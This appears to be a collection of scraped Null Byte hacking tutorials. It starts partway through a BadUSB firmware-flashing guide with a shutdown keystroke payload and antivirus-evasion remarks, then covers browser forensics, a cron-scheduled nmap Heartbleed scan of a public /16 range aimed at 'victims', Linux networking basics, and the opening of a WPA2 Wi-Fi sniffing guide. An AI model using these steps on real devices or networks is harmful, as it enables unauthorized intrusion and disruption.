/firmware="PATH of the output.bin"In my instance:E:\Documents\Bad_USB\Psychson-master\tools\DriveCom.exe /drive=F /action=DumpFirmware /burner=E:\Documents\Bad_USB\Firmware\BN03V117M.BIN /firmware=E:\Documents\Bad_USB\originalfw.binFlashing FirmwareFinally, we can hand over the very malicious shut-down payload embedded into the firmware to our USB flash drive:"PATH to DriveCom.exe" /drive="Drive Letter" /action=SendFirmware /burner="PATH to our burner image" /firmware="PATH to the firmware"In my instance:E:\Documents\BadUSB\Psychson\tools\DriveCom.exe /drive=F /action=SendFirmware /burner=E:\Documents\Bad_USB\Firmware\BN03V117M.BIN /firmware=E:\Documents\Bad_USB\Psychson\firmware\bin\fw.binA successful output should look like this:Notice that DriveCom is switching the mode of our USB to boot mode automatically to flash the firmware. Now that our USB flash drive has become a keyboard, we cannot switch modes any more with our tools, nor access to the memory, but that is a minor problem. In the next section, I will focus how to resolve this issue.Setting Our Device into "Boot Mode" ManuallyIf you want to take further actions to your Bad USB, you will notice that neither DriveCom nor Windows nor any other operating system can access it, because it is a keyboard after all. We need to open the case of our USB drive and connect two pins of the microcontroller while plugging the drive into our PC. Since the circle is on the top left corner of my controller (from this perspective), I have to connect the two pins of the left bottom side:You may need to open the picture in a new tab and zoom in.I usually use the edge of a USB connector to connect these two pins. In addition, a USB extension cable can be very useful in this scenario. It seems to be difficult, but you will get used to this. Use whatever you feel most comfortable with, without damaging your USB flash drive. If you do it correctly, the drive will show up in Windows again:And we can modify our drive or flash the original firmware again. If not, your PC will shut down—try harder next time.NotesThe Bad USB may not work on every Windows PC, including mine, since it may be incompetent at loading drivers. You might want to try adding a delay at the start of the script (Thanks Seytonic)Keep in mind that you won't be able to access the memory while your USB drive is faking an HID device.Final ThoughtsThe Bad USB is a very powerful tool if you have access to your victim's PC, even though Windows can be crap at loading the USB drivers. In addition, it avoids AV detection since it is a keyboard rather than a virus.Furthermore, I would like to mention that I really appreciate constructive feedback from you guys. So feel free to PM me if you find any mistake or want me to improve something!Referencesgithub.com/adamcaudill/Psychsongithub.com/hak5darren/USB-Rubber-Ducky/wikiAll of the pictures were taken by myself.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHow To:Recover Passwords for Windows PCs Using OphcrackHow To:Build a solar powered USB chargerHow To:The Best HDMI Adapters to Turn Your Galaxy Note 9 into a DeX DesktopHow To:Create a Portable, Fully Functional USB Version of Windows 8How To:Mod a Mini USB Cable to Add External Power to an Enclosed GoPro Hero3 CameraHow To:Load & Use Keystroke Injection Payloads on the USB Rubber DuckyNews:Google's Nexus Chargers Could Be Dangerous—Here's Why You Need to Be CarefulHow To:Buy a USB Type-C Cable That Won't Fry the Battery on Your Nexus, MacBook, or PixelBack to School Batteries:Fast Charge Your Android on the Go with These 11 USB-C External Power PacksNews:Why the iPhone X Needs a $25 USB Type-C Cable to Fast ChargeHow To:Deploy a Keylogger from a USB Flash Drive QuicklyHow To:Get video footage from a DSLR, steal documents via USB and much moreHow To:Make USB air conditioningHow To:Create Bootable USB with Persistence for Kali LinuxNews:Apple's Rumored Switch to USB Type-C Chargers for iPhones Will Screw Over Some UsersHow To:The Best HDMI Adapters for Turning Your Galaxy Note 10 into a DeX DesktopHow To:Deter Data Thieves from Stealing Your Flash Drive by Disguising It as a Broken USB CableHow To:Make a USB laser air purifier lampHow To:The Best External Storage Options for iPhone That Work with iOS 13's Files AppHow To:The Fastest Way to Transfer Photos & Videos from Your DSLR to Your AndroidNews:Quick Charge 4.0 Is Coming Even as Google Warns OEMs Against ItNews:The HoloLens & a Simple Gesture Can Stop a Complex Cyber-AttackHow To:Make a Windows-to-Go Ready USB Drive in Windows 8How To:Enable or Disable USB Port in Your PCHow To:Disable or Enable USB Port in PCNews:The $25 USB Stick ComputerNews:Jailbreak your PS3!News:Super Cap USB Flashlight!How To:Make Your Own USB Keylogger HardwareHow To:Hack Your Xbox GamerscoreNews:Ubuntu Usb on MacbookNews:Virtual Box with Ubuntu on MacbookHow To:Fix the Unreadable USB Glitch in VirtualBoxNews:Left (Right) Angle USB Cable for TetheringHow To:Hack Microsoft's Kinect for the Xbox 360 — A Detailed Hacking Guide for USB DevicesHow To:Fix or Retrieve Data From A Bad Hard DriveHow To:Add an Extra USB Port to Your Wired Computer Mouse
Hack Like a Pro: Digital Forensics for the Aspiring Hacker, Part 13 (Browser Forensics) « Null Byte :: WonderHowTo
Welcome back, my novice hackers!Inthis series, we have been exploring how a forensic investigator can find evidence of illegal or illicit activity. Among other things, we have examined theregistryandprefetchfiles for artifacts and have done somerudimentary forensic analysis. For those of you who are seeking career as a forensic investigator or security engineer, this can be invaluable training. For hackers, it might be life-saving.In this tutorial, we will explore where and what the forensic investigator can find information about the activities of the suspect in their web browser. It's important to note that this information will vary by operating system and browser. Here we will look briefly at Internet Explorer and go into a bit more depth on Mozilla's Firefox.Internet ExplorerLet's begin with Microsoft's Internet Explorer. It is installed on every single Windows system as the default browser (except on newer versions of Window 10 whereEdgeis default, though IE isstill installed), so it is widely used. In many institutional and corporate environments, it is the only browser allowed.IE places its records in different places depending upon the version of Windows. Let's look at its recent versions since 2000 first.Windows 2000 & XPWe can get evidence of the user's internet activity in the following locations.%systemdir%\Documents and Settings\%username%\Local Settings\Temporary Internet Files\Content.ie5%systemdir%\Documents and Settings\%username%\Cookies%systemdir%\Documents and Settings\%username%\Local Settings\History\history.ie5Windows Vista & 7The path of the files is slightly different beginning with Windows Vista and 7. We can find IE's files at:%systemdir%\Users\%username%\AppData\Local\Microsoft\Windows\Temporary Internet Files\%systemdir%\Users\%username%\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\Click or tap on image to expand to full size.Please note thatAppDataandTemporary Internet Filesare hidden files.Mozilla FirefoxWith Mozilla Firefox and its many variations (Iceweasel in Kali is one), most of the information is stored in SQLite databases. We can find those databases at different locations based upon the operating system.Below is the path to the database in Windows (XP, Vista, and 7), Linux, and Mac OS X.Windows XPC:\Documents and Settings\<username>\Application Data\Mozilla\Firefox\Profiles\<profile folder>\places.sqliteWindows Vista & 7C:\Users\<user>\AppData\Roaming\Mozilla\Firefox\Profiles\<profile folder>\places.sqliteGNU/Linux/home/<user>/.mozilla/firefox/<profile folder>/places.sqliteMac OS X/Users/<user>/Library/Application Support/Firefox/Profiles/default.lov/places.sqliteMozilla uses a relational database to store the user's data, which has a structure like that below.Click or tap on image to expand to full size.Step 1: Using SQLite to Find Browser EvidenceSQLite is now being used by many browsers, applications, and mobile devices that require a small, lightweight relational database. Due to its lightweight nature, it is becoming increasingly popular among mobile devices and mobile apps. That being the case, it is critical that any competent forensic investigator become familiar with it as it is becoming very popular.To view or query the data in these SQLite databases, we will need a browser. You can download SQLite browserhere. If you are using Kali, the SQLite browser is preinstalled.Step 2: Load the Database File into the SQLite BrowserOnce you have installed the SQLite browser, navigate to the location specified above for the operating system you are investigating. In my case, its a Windows 7 system, so I navigate to:C:\Users\<user>\AppData\Roaming\Mozilla\Firefox\Profiles\<profile folder>\You will see many files ending with "sqlite." These are the database tables that Mozilla uses to store the information on the user's browsing activities.Click or tap on image to expand to full size.Let's open that database in the SQLite browser. Next, click on the "Database Structure" tab to the far left. In the screenshot below, we can see all 13 tables in the database. Note that each table name begins with "moz."Click or tap on image to expand to full size.If we click on the "Browse Data" tab, the SQLite browser will display the data in the table we have selected. In the screenshot below, we are looking at "moz_anno_attributes."Click or tap on image to expand to full size.Now that we have a basic knowledge of the database structure, let's use some simple SQL queries to find specific and relevant data to our investigation.Step 3: Querying the DatabaseTo effectively use the SQLite browser to find eveidence, you need to know some basic SQL syntax. Take a look at my article on SQL in mydatabase hackingserieshere.Let's look in themoz_inputhistorytable for input that the user entered into the browser. Click on the "Execute SQL" tab to open a SQL query window. We could then write a general SQL query to find all the input data by entering:SELECT *FROM moz_inputhistoryAfter entering the query, click on the play (>) button to execute the query.Click or tap on image to expand to full size.As you can see, the suspect was typing some suspicious Google hacks using the keyword "inurl" and looking for admin directories. Hmm... we may be on to something here!Step 4: Finding Specific User InputLet's assume that this was a case where the employee is suspected of having downloaded pirated files from a torrenting site (in many companies and institutions this is prohibited activity, and in many countries it is illegal). We could be very specific in our SQL query to find where the suspect may have input "tor." We could find every occurrence where they typed "tor" querying the input history with:SELECT *FROM moz_inputhistoryWHERE input like '%tor%'This query will provide us all columns (SELECT *) from the input history table (FROM moz_inputhistory) where the typed input is like "tor" (WHERE input like '%tor%'). Note the wildcards (%) before and aftertor. This indicates that we are looking for anything before tor and anything after tor.This query should provide us with results of any input by the user that has "tor" anywhere in it.Click or tap on image to expand to full size.As you can see in the screenshot above, we were able to find two occurrences where the suspect/user had input "tor." This may be enough evidence to prove that the suspect was actually looking for torrent sites, but we may want to dig a bit deeper to actually find the URLs of the sites in his places history (moz_places table).Keep coming back, my novice hackers, as we continue to explorethe skills and techniquesof the forensic investigator!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 1 (Tools & Techniques)How To:Become a Computer Forensics Pro with This $29 TrainingHack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 5 (Windows Registry Forensics)News:Why YOU Should Study Digital ForensicsHack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 11 (Using Splunk)How To:The Essential Skills to Becoming a Master HackerHack Like a Pro:Digital Forensics Using Kali, Part 1 (The Tools of a Forensic Investigator)Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 6 (Using IDA Pro)News:How to Study for the White Hat Hacker Associate Certification (CWA)Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 2 (Network Forensics)Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 8 (More Windows Registry Forensics)Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 10 (Identifying Signatures of a Port Scan & DoS Attack)SPLOIT:Forensics with Metasploit ~ ( Recovering Deleted Files )Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 12 (Windows Prefetch Files)Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 15 (Parsing Out Key Info from Memory)Hack Like a Pro:Digital Forensics Using Kali, Part 3 (Creating Cases in Autopsy & Sleuth Kit)News:Airline Offers Frequent Flyer Miles to HackersHack Like a Pro:How to Hack Facebook (Facebook Password Extractor)Hack Like a Pro:Digital Forensics Using Kali, Part 2 (Acquiring a Hard Drive Image for Analysis)Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 9 (Finding Storage Device Artifacts in the Registry)Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 7 (Windows Sysinternals)Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 16 (Extracting EXIF Data from Image Files)How To:Why You Should Study to Be a HackerHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 11 (Apache Web Servers)Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 14 (Live Memory Forensics)News:What to Expect from Null Byte in 2015Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 4 (Evading Detection While DoSing)News:Sneaky! WhatsApp Adds Encryption to iCloud Backups on the SlyNews:Becoming a HackerHack Like a Pro:Getting Started with BackTrack, Your New Hacking SystemHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 6 (Networking Basics)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 7 (Autopwn)How To:Recover deleted text messages on an iPhoneHow To:Adobe Flash Player Is Bad for Your Computer (Here's How You Uninstall It)How To:Don't Get Caught! How to Protect Your Hard Drives from Data Forensics
Hack Like a Pro: Linux Basics for the Aspiring Hacker, Part 18 (Scheduling Jobs) « Null Byte :: WonderHowTo
Welcome back, my aspiring hackers!In previous tutorials, I have shown you how toscan the globe for vulnerable serversand write simple scripts inBASHandPerlto perform otherreconnaissancetasks. In a very recent guide, I taught how toscan vulnerable servers for Heartbleed.In all of these cases, you might want to perform these usually time consuming tasks at a regular time; maybe the middle of the night, or while you are at work or school. That way, when you wake up in the morning, you are greeted by a long list of vulnerable machines that can be targets of your efforts later that day.Luckily for us,Linuxhas a built-in functionality that allows us to schedule such jobs as these on a regular schedule. In Linux, this is calledcron, orcrond, for thedaemonthat runs these services (a daemon, or demon, is simply a process that runs in the background).How Cron Works in LinuxTypically used to schedule such mundane, but necessary, tasks such as doing scheduled regular backups at a regular time each week, we can use it to schedule our scans or other nefarious "jobs".The cron daemon starts when the system boots and continues to run as long as the system is up and running. It reads a configuration file or files that consist of the jobs to be run and the schedule they are to be run on. Almost anything we can do from the command line can be scheduled to be done on a regular schedule using cron.Let's take a look how it works and how we can use it as a hacker.Step 1: Locating CrontabCron is one of those functions that is almost identical across Linux distributions, so what you learn here can be used in Ubuntu, Red Hat, Suse, Mint, Slackware, CentOS, etc. It has been part of the Linux/UNIX family since the 1970s, so it is tried and true and has proven its value.Like so many things in Linux, the cron functionality is controlled by aconfiguration filethat is a plain text file. In a multi-user environment, each user can have their own cron configuration file, but here we will concentrate on the root user inKali.For cron, the configuration file is thecrontab, or "cron table", file. To find the crontab file, type:locate crontabAs you can see, it is located in the/etcdirectory like nearly every other configuration file in Linux (there are exceptions, of course).Step 2: Opening CrontabLet's open it and look around. We can open it with any text editor, but here let's use the graphical text editor built into Kali, Leafpad. Type:leafpad /etc/crontabThe Debian version that Kali is built on has a newer version of crontab that is slightly easier to work with than earlier versions. Unlike earlier versions, they have labeled the fields and added a new field to denote the user that will run the job.Step 3: The Anatomy of a CrontabLet's break down the parts. As you can see in the screenshot above, the crontab starts with 5 lines that are commented (#) out. These lines are simply an explanation and notes, they are not seen or executed by the system.After the commented lines, you see a couple of lines together.The first of these sets the shell to run the jobs from. In our case, we have designating the BASH shell with the following command. If want to use a different shell, we could designate it here.SHELL=/bin/shThe second line sets the PATH variable. The PATH variable is anenvironment variable(there is one in Windows, too), that tells the system where to look for commands that are being used in the cron job. Typically, these arebinandsbindirectories (binary) that contain the system commands that we use in Linux (ls,echo,ps,cd, etc.).Here the default settings are:PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/binThis simply means that the cron daemon will look in those directories for the commands that you use in your scheduled jobs. If you are using a command or file not in those directories, simply edit that line and add that directory to the end of the line after putting in a colon (:), such as:PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin:/newdirStep 4: Scheduling JobsNow comes the meat of the crontab file. In this third section, we schedule the jobs that we want to run.As you can see, each line represents a scheduled job that will run automatically at whatever day, date, or time you have it scheduled for.The fields of the crontab file are as follows:Minute-- the exact minute when the command or will be run (0-59)Hour-- the exact hour when the command or job will be run (0-23)Day of the Month-- the exact day of the month when the command or job will be run (1-31)Month-- the exact month when the command or job will be run (1-12)Day of the week-- the exact day when you want the command to run (0-6, Sunday=0)User-- the user permissions that the job will run asCommand-- the command or job you want to runThe asterisk (*), or star, represents any, so it may be any day, any hour, or any minute.Using Cron to Find Vulnerable ServersNow, let's imagine that we want to scan the globe for IP addresses that are vulnerable to the Heartbleed vulnerability.Reportedly, there are over300,000 serversthat are still unpatched. Although that's a very large number, with over 2 billion IP addresses on the planet; that represents 1 out of every 10,000 IP addresses that are vulnerable. This means we will need to set up a scanner to repeatedly search thousands of IP's to find just one vulnerable server.This is a perfect task for a cron job!Step 5: Scheduling Our Heartbleed ScannerWe can schedule the scanner to run every night while we are asleep and hopefully, awake each morning with a new potential victim(s)!Let's open that cron tab file again in any text editor.Now we are going to add a line to run our nmap scanner each weeknight at 2:05 am. Simply add this line to our crontab file:05 2 * * 1,2,3,4,5 root nmap -sV --script=ssl-heartbleed 68.76.0.0/16Now, save and close this file.This would scheduleour nmap Heartbleed scannerto run Monday, Tuesday, Wednesday, Thursday, and Friday at precisely 2:05 am for the Heartbleed vulnerability across 65,536 IP addresses.That's good start.Just 2 billion more to go.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseOriginal cover image viaShutterstockRelatedNews:How to Study for the White Hat Hacker Associate Certification (CWA)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 11 (Apache Web Servers)How To:The Essential Skills to Becoming a Master HackerHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 6 (Networking Basics)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 1 (Getting Started)How to Hack Like a Pro:Getting Started with MetasploitHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 13 (Mounting Drives & Devices)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 12 (Loadable Kernel Modules)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 2 (Creating Directories & Files)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 21 (GRUB Bootloader)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 4 (Finding Files)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 9 (Managing Environmental Variables)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 5 (Installing New Software)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 8 (Managing Processes)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 25 (Inetd, the Super Daemon)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 22 (Samba)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 17 (Client DNS)Goodnight Byte:HackThisSite Walkthrough, Part 6 - Legal Hacker TrainingCommunity Byte:HackThisSite Walkthrough, Part 6 - Legal Hacker TrainingCommunity Byte:HackThisSite Walkthrough, Part 5 - Legal Hacker TrainingCommunity Byte:HackThisSite Walkthrough, Part 10 - Legal Hacker TrainingGoodnight Byte:HackThisSite Walkthrough, Part 8 - Legal Hacker TrainingCommunity Byte:HackThisSite Walkthrough, Part 1 - Legal Hacker TrainingCommunity Byte:HackThisSite, Realistic 2 - Real Hacking SimulationsCommunity Byte:HackThisSite Walkthrough, Part 9 - Legal Hacker TrainingCommunity Byte:HackThisSite Walkthrough, Part 2 - Legal Hacker TrainingHack Like a Pro:Hacking Samba on Ubuntu and Installing the MeterpreterCommunity Byte:HackThisSite, Realistic 1 - Real Hacking SimulationsCommunity Byte:HackThisSite, Realistic 3 - Real Hacking SimulationsGoodnight Byte:HackThisSite Walkthrough, Part 10 - Legal Hacker TrainingCommunity Byte:HackThisSite, Realistic 5 - Real Hacking SimulationsGoodnight Byte:HackThisSite Walkthrough, Part 9 - Legal Hacker TrainingGoodnight Byte:HackThisSite Walkthrough, Part 4 - Legal Hacker TrainingNews:Let Me Introduce MyselfCommunity Byte:HackThisSite, Realistic 4 - Real Hacking SimulationsHow To:How Hackers Take Your Encrypted Passwords & Crack Them
Hack Like a Pro: Linux Basics for the Aspiring Hacker, Part 6 (Networking Basics) « Null Byte :: WonderHowTo
Welcome, my neophyte hackers!The aspiring hacker needs to know a bit ofLinuxto be successful, and probably most importantly, Linux networking. To fill that knowledge gap, I'm offering this guide on Linux networking basics.I assume that you understand a small amount of networking concepts, things like IP addresses, MAC addresses, DNS, DHCP, etc. If not, please take some time to pick up a few networking basics. Our past admin here on Null Byte,Allen Freeman, has some really good guides you should check out:How IP addresses and MAC addresses work togetherA brief history on how the Net came to beHow network packets are routedHow everything connects todayStep 1: Analyzing NetworksThe most basic linux command for analyzing networks isifconfig. It's very similar to the Windows commandipconfig. Let's take a look at it.ifconfigAs you can see in this screenshot,ifconfigconveys a significant amount of information to the user. In the very first line, we see to the far lefteth0. This is the firstwirednetwork connection,ethernet 0 (Linux usually starts counting at 0).Following this, we see the type ofnetworkbeing used (Ethernet) and thehardware address(this is the globally unique address stamped on every piece of network hardware, in this case the NIC).The second line then contains information of theIP address, in this case, 192.168.1.114, thebroadcast address(the address to send out information to all IPs on the subnet), and finally thenetwork mask(this is the info on what part of the IP address is network and which part is hosts). There is a lot more technical info there, but it's beyond the scope of a Linux basics tutorial.If we look down below to what appears to be a second paragraph, we see the start of another paragraph withloto the far left.This is theloopback addressorlocalhost. This is the address of the machine you're working on if you simply wanted to test something like a website. It generally is represented with the IP address 127.0.0.1.Step 2: Changing IP AddressesChanging IP addresses can be fairly simple in Linux. Remember that in most cases, you're going to have a dynamically assigned address from a DHCP server. In some cases, you may need to reassign the address, especially if you're hacking. This can be useful in spoofing your IP address, making network forensics more challenging, but certainly not impossible.We can do this by using theifconfigcommand with the interface we want to assign the IP to and the IP address we want. Such as:ifconfig eth0 192.168.1.115Now, when we typeifconfig, we can see that our IP address has changed to the new IP address.We can also change thenetmaskandbroadcast address, if necessary, such as:ifconfig eth0 192.168.1.115 netmask 255.255.255.0 broadcast 192.168.1.255Step 3: DHCP (Dynamic Host Configuration Server)Linux has a DHCP server that runs a daeman calleddhcpd. It's this DHCP server that assigns IP addresses to all the systems on the subnet. It also keeps logs files of which machines had which IP addresses at which time. It's this log that is often used to trace hackers in a forensic analysis after an attack.When I want to be assigned a new address from the DHCP server, I can simply call the server with the commanddhclient(different Linux distros use different DHCP clients, butBackTrackis built on Ubuntu which uses dhclient), like this:dhclientAs you can see, thedhclientcommand sends outDHCPDISCOVERrequest from the default NIC. It then gets an offer (DHCPOFFER) of 192.168.1.114 from the DHCP server, then confirms the IP assignment to the DHCP server. Now, if we typeifconfig, we can see that the DHCP server has assigned a new IP address.Step 4: DNS (Domain Name Service)DNS, or Domain Name Services, is the service that enables us to type in a domain name likewww.wonderhowto.com, which it then translates to the appropriate IP address. Without it, we would all have to remember thousands of IP addresses of our favorite websites (no small task even for a savant).One of the most useful commands for the aspiring hacker isdig, which is the equivalent ofnslookupin Windows, but offers us much more information on the domain. For instance, wedigwonderhowto.comand by adding thensoption, it will display the name server forwonderhowto.com.dig wonderhowto.com nsBy using the dig command with themxoption, we can get info on WonderHowTo's email servers.dig wonderhowto.com mxThe most common Linux DNS server is the Berkeley Internet Name Domain, orBIND. In some cases, Linux users will often refer to DNS as BIND, so don't be confused. DNS or BIND simply maps individual domain names to IP addresses.On our BackTrack system, we can point out DNS services to a local DNS server or a public DNS server. This pointing takes place in the a plain text tile named/etc/resolv.conffile. Let's open it withkwrite:kwrite /etc/resolv.confAs you can see, we are pointing to two public DNS servers to provide us with DNS services. If we want to change our DNS servers or add another server, we can simply add another line to this text file and save it. The next time DNS services are required, the Linux operating system will look to the new DNS server designated in this file.Simple, right?In my next Linux tutorial, we will look at security and permissions, so keep coming back. If you haven't already, make sure to check out thefirst five partsof this series, and if you have any questions, ask away in the comments below or hit up theNull Byte forumfor more help.PenguinphotosbyLai RyanneWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedNews:How to Study for the White Hat Hacker Associate Certification (CWA)How To:The Essential Skills to Becoming a Master HackerHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 11 (Apache Web Servers)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 1 (Getting Started)How to Hack Like a Pro:Getting Started with MetasploitHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 12 (Loadable Kernel Modules)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 5 (Installing New Software)Hack Like a Pro:Windows CMD Remote Commands for the Aspiring Hacker, Part 1Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 13 (Mounting Drives & Devices)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 21 (GRUB Bootloader)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 17 (Client DNS)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 2 (Creating Directories & Files)How To:Hack a Site Knowing a Bit of HTML (hackthissite.org) Part 3Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 9 (Managing Environmental Variables)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 22 (Samba)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 4 (Finding Files)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 25 (Inetd, the Super Daemon)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 15 (Creating a Secure Tunnel to MySQL)Goodnight Byte:HackThisSite Walkthrough, Part 6 - Legal Hacker TrainingGoodnight Byte:HackThisSite Walkthrough, Part 8 - Legal Hacker TrainingCommunity Byte:HackThisSite Walkthrough, Part 6 - Legal Hacker TrainingCommunity Byte:HackThisSite Walkthrough, Part 1 - Legal Hacker TrainingGoodnight Byte:HackThisSite Walkthrough, Part 10 - Legal Hacker TrainingCommunity Byte:HackThisSite Walkthrough, Part 2 - Legal Hacker TrainingGoodnight Byte:HackThisSite Walkthrough, Part 9 - Legal Hacker TrainingCommunity Byte:HackThisSite Walkthrough, Part 10 - Legal Hacker TrainingGoodnight Byte:HackThisSite Walkthrough, Part 7 - Legal HackerGoodnight Byte:HackThisSite Walkthrough, Part 4 - Legal Hacker TrainingHow To:Hack Wireless Router Passwords & Networks Using HydraTHE FILM LAB:Non-Linear Editing Basics, Final Cut Pro - Part 01Goodnight Byte:HackThisSite Walkthrough, Part 5 - Legal Hacker TrainingHack Like a Pro:Hacking Samba on Ubuntu and Installing the MeterpreterTHE FILM LAB:Intro to Final Cut Pro - 02Community Byte:HackThisSite Walkthrough, Part 5 - Legal Hacker TrainingCommunity Byte:HackThisSite Walkthrough, Part 9 - Legal Hacker Training
How to Stealthfully Sniff Wi-Fi Activity Without Connecting to a Target Router « Null Byte :: WonderHowTo
Identifying vulnerable devices and services on a target router can be difficult without leaving logs and other traces of an active attacker on the network. However, there is a way to covertly decrypt and view Wi-Fi activity without ever connecting to the wireless network.When targeting Wi-Fi routers, hackers may try tobrute-force WPA2 handshakesorphish for passwords. Once the Wi-Fi credentials have been acquired, they will begin mapping and fingerprinting the compromised network using a variety of techniques.Port scanners will create an enormous amount of noise on wireless networks. Man-in-the-middle attacks can be too aggressive and alert users and administrators to the presence of a hacker. Routers keep logs of every device that connects to the network. Every action taken while connected to a network may in some way result in being discovered on the compromised router.Don't Miss:Use Kismet to Watch Wi-Fi User Activity Through WallsIt's better not to connect to the Wi-Fi router at all. In this guide, we'll develop an understanding of how attackers capture packets as they transmit to and from the wireless router with Airodump-ng — and decrypt WPA2 traffic in near real time.How the Attack WorksWiresharkis the world's foremost and widely used network analyzer. It allows users to see what's happening on networks at a microscopic level and is the de facto network auditing tool across commercial and non-profit enterprises, government agencies, and educational institutions.A great feature built into Wireshark allows attackers to decrypt and view router activity transmitted over the air in plain-text, and that's exactly what we're going to find out in this guide.Step 1: Identify the Target NetworkAirodump-ngis available in all popular Linux distributions and will work on virtual machines and on Raspberry Pi installations. I'll be using Kali Linux to collect data belonging to a Wi-Fi router that I control. If you've never used Airdodump-ng before, you can learn some basics in my article onhacking a neighbor with a Post-It noteor in our Aircrack-ng overall guide linked below.Don't Miss:Getting Started with the Aircrack-ngTo enable monitor mode on a wireless adapter, use the below command.airmon-ng start wlan0Then, find the target network. To view Wi-Fi networks in the surrounding area, use the below command. I'll be targeting my "Null Byte" router as an example.airodump-ng wlan0monTake note of the BSSID, CH, and ESSID. This information is required to collect data transmitting to the router.Step 2: Start Capturing Wi-Fi DataTo start collecting data belonging to a target network, type the below command, replacing the parts in italics with what you're working with.airodump-ng --bssidTargetMACaddressHere--essidRouterNameHere-cChannelNumber-wSaveDestinationwlan0monI'm saving the collected data into my /tmp directory to a file named "null_byte" using the-wargument. Airodump-ng will automatically append a number to the end of the filename, so it'll actually be saved to the /tmp directory as "null_byte-01.cap."Here's what to expect from a running Airodump-ng terminal:The most important thing to consider here is theWPA handshakein the top-right corner. A handshake must occur for Wireshark to later decrypt the Wi-Fi traffic. It's possible to useAireplay-ngtoforcefully disconnect devices from the network. Doing this will require devices to reconnect and hopefully produce the WPA handshake in the process, but this may create suspicion among users connected to the network.As long as the Airodump-ng terminal is running, data will continue to accumulate. The Airodump-ng terminal can run for hours or even days. In my example Airodump-ng session, I let the packet collection run for over 15 minutes. The time elapsed can be identified in the top-left corner of the terminal.Notice the#Datacolumn in the above screenshot. This number indicates how many data packets have been collected. The higher this number is, the more likely attackers are to discover sensitive information which can be used to pivot or further compromise the target.When a satisfactory amount of data has been collected, the Airodump-ng session can be stopped by pressingCtrl+C. There will now be a "null_byte-01.cap" file (or whatever you named it) in the /tmp directory. This .cap file will be opened using Wireshark.Step 3: Install the Latest Version of WiresharkBy default, Wireshark is included in almost allversions of Kali. There are a few versions which don't include Wireshark, so I'll quickly cover how to install it in Kali.First, run theapt-getupdatecommand to ensure the most recently tested and curated (by the Kali developers) version of Wireshark is available for download. Open a terminal, and type the below command.sudo apt-get updateThen, use the following command to install 